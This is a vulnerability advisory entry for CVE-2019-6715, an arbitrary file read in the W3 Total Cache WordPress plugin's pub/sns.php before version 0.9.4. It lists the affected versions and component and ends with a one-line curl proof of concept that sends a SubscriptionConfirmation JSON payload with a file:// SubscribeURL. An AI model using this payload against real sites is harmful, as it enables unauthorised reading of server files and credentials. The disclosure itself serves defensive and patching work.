CVE 2019-6715

Description: pub/sns.php in the W3 Total Cache plugin before 0.9.4 for WordPress allows remote attackers to read arbitrary files via the SubscribeURL field in SubscriptionConfirmation JSON data.

Vulnerability Type: arbitrary file read

Vendor of Product: Wordpress W3 Total Cache plugin by Frederick Townes

Affected Product Code Base: W3 Total Cache - - 0.9.3, fixed in 0.9.4

Affected Component: Affected source code file: w3-total-cache/pub/sns.php

Exploit - PoC:

curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36'